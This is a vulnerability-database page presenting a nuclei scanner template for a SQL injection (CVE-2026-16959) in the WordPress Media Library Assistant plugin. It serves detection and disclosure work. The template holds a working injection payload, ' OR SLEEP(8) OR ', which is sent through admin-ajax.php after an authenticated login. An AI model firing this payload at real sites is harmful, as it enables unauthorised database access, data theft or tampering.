Lucene search
+L

WordPress Media Library Assistant < 3.40 - SQL Injection

🗓️ 27 Oct 2026 02:09:31Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

SQL injection in WordPress Media Library Assistant via unvalidated search parameter.

Related
Refs
Code
id: CVE-2026-16959

info:
  name: WordPress Media Library Assistant < 3.40 - SQL Injection
  author: anirbala98
  severity: medium
  description: |
    The Media Library Assistant WordPress plugin before 3.40 does not validate a search parameter before concatenating it into a SQL query in one of its media-library query handlers, allowing users with the Author role and above to perform SQL injection.
  impact: |
    Authenticated attackers can execute arbitrary SQL commands, potentially leading to information disclosure, data modification or deletion.
  remediation: |
    Upgrade to version 3.40 or later.
  reference:
    - https://wpscan.com/vulnerability/7b13e3d3-42ee-4fe2-bb47-75bd2273f1b0/
    - https://wordpress.org/plugins/media-library-assistant/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16959
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cve-id: CVE-2026-16959
    epss-score: 0.00391
    epss-percentile: 0.32995
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: david-lingren
    product: media-library-assistant
    framework: wordpress
    fofa-query: body="/wp-content/plugins/media-library-assistant/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,media-library-assistant,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=mla-query-attachments&query[posts_per_page]=10&query[s]=zzqnomatchaaa zzqnomatchbbb&query[mla_search_fields][]=title&query[mla_search_fields][]=content&query[mla_search_connector]= OR SLEEP(8) OR

    matchers:
      - type: dsl
        dsl:
          - duration >= 8
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
# digest: 4b0a00483046022100eb531cdd690a2fe425059a3a97e060d50eb00ac2bd9cec62e7f088d531399c6d022100cf45c89a149a5f0d1f568f4ade77de4d3a5958a01b05e6615f72812f90fe328a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation